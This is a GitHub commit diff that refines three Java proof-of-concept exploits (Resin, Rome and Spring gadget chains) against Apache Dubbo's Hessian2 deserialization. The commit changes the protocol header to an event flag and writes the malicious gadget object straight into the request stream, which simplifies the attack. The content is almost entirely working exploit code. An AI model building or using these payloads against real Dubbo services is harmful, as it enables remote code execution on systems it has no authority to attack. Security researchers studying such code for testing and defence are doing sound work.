Skip to content

Commit 03ae318

Browse files
author
threedr3am
committed
feat:优化dubbo hessian2 poc
使用event事件打
1 parent 27779df commit 03ae318

File tree

3 files changed

+10
-70
lines changed

3 files changed

+10
-70
lines changed

src/main/java/com/threedr3am/bug/dubbo/ResinPoc.java

Lines changed: 4 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -63,52 +63,26 @@ public static void main(String[] args) throws InterruptedException {
6363
// set magic number.
6464
Bytes.short2bytes((short) 0xdabb, header);
6565
// set request and serialization flag.
66-
header[2] = (byte) ((byte) 0x80 | 2);
66+
header[2] = (byte) ((byte) 0x20 | 2);
6767

6868
// set request id.
6969
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
7070

7171
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
72-
ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();
73-
ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();
7472
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
75-
Hessian2Output out2 = new Hessian2Output(hessian2ByteArrayOutputStream2);
76-
Hessian2Output out3 = new Hessian2Output(hessian2ByteArrayOutputStream3);
7773
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
7874
sf.setAllowNonSerializable(true);
79-
out2.setSerializerFactory(sf);
75+
out.setSerializerFactory(sf);
8076

81-
//todo 经测试,以下4个随意填
82-
//注册中心获取到的service全限定名、版本号、方法名
83-
out.writeString("2.0.2");
84-
out.writeString("com.threedr3am.learn.server.boot.DemoService");
85-
out.writeString("1.0");
86-
out.writeString("hello");
87-
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
88-
out.writeString("Ljava/util/Map;");
77+
out.writeObject(o);
8978
out.flushBuffer();
9079
if (out instanceof Cleanable) {
9180
((Cleanable) out).cleanup();
9281
}
9382

94-
out2.writeObject(o);
95-
out2.flushBuffer();
96-
if (out2 instanceof Cleanable) {
97-
((Cleanable) out2).cleanup();
98-
}
99-
100-
out3.writeObject(new HashMap());
101-
out3.flushBuffer();
102-
if (out3 instanceof Cleanable) {
103-
((Cleanable) out3).cleanup();
104-
}
105-
106-
Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size()
107-
+ hessian2ByteArrayOutputStream3.size(), header, 12);
83+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
10884
byteArrayOutputStream.write(header);
10985
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
110-
byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());
111-
byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());
11286

11387
byte[] bytes = byteArrayOutputStream.toByteArray();
11488

src/main/java/com/threedr3am/bug/dubbo/RomePoc.java

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -74,24 +74,15 @@ public static void main(String[] args) throws Exception {
7474
// set magic number.
7575
Bytes.short2bytes((short) 0xdabb, header);
7676
// set request and serialization flag.
77-
header[2] = (byte) ((byte) 0x80 | 2);
77+
header[2] = (byte) ((byte) 0x20 | 2);
7878

7979
// set request id.
8080
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
8181

8282
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
8383
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
8484

85-
//todo 经测试,以下4个随意填
86-
//注册中心获取到的service全限定名、版本号、方法名
87-
out.writeUTF("2.0.2");
88-
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
89-
out.writeUTF("1.0");
90-
out.writeUTF("hello");
91-
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
92-
out.writeUTF("Ljava/util/Map;");
9385
out.writeObject(s);
94-
out.writeObject(new HashMap());
9586

9687
out.flushBuffer();
9788
if (out instanceof Cleanable) {

src/main/java/com/threedr3am/bug/dubbo/SpringAbstractBeanFactoryPointcutAdvisorPoc.java

Lines changed: 5 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -47,52 +47,27 @@ public static void main(String[] args) throws Exception {
4747
// set magic number.
4848
Bytes.short2bytes((short) 0xdabb, header);
4949
// set request and serialization flag.
50-
header[2] = (byte) ((byte) 0x80 | 2);
50+
header[2] = (byte) ((byte) 0x20 | 2);
5151

5252
// set request id.
5353
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
5454

5555
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
56-
ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();
57-
ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();
5856
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
59-
Hessian2Output out2 = new Hessian2Output(hessian2ByteArrayOutputStream2);
60-
Hessian2Output out3 = new Hessian2Output(hessian2ByteArrayOutputStream3);
6157
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
6258
sf.setAllowNonSerializable(true);
63-
out2.setSerializerFactory(sf);
59+
out.setSerializerFactory(sf);
6460

65-
//todo 经测试,以下4个随意填
66-
//注册中心获取到的service全限定名、版本号、方法名
67-
out.writeString("2.0.2");
68-
out.writeString("com.threedr3am.learn.server.boot.DemoService");
69-
out.writeString("1.0");
70-
out.writeString("hello");
71-
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
72-
out.writeString("Ljava/util/Map;");
61+
62+
out.writeObject(o);
7363
out.flushBuffer();
7464
if (out instanceof Cleanable) {
7565
((Cleanable) out).cleanup();
7666
}
7767

78-
out2.writeObject(o);
79-
out2.flushBuffer();
80-
if (out2 instanceof Cleanable) {
81-
((Cleanable) out2).cleanup();
82-
}
83-
84-
out3.writeObject(new HashMap());
85-
out3.flushBuffer();
86-
if (out3 instanceof Cleanable) {
87-
((Cleanable) out3).cleanup();
88-
}
89-
90-
Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size()
91-
+ hessian2ByteArrayOutputStream3.size(), header, 12);
68+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
9269
byteArrayOutputStream.write(header);
9370
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
94-
byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());
95-
byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());
9671

9772
byte[] bytes = byteArrayOutputStream.toByteArray();
9873

0 commit comments

Comments
 (0)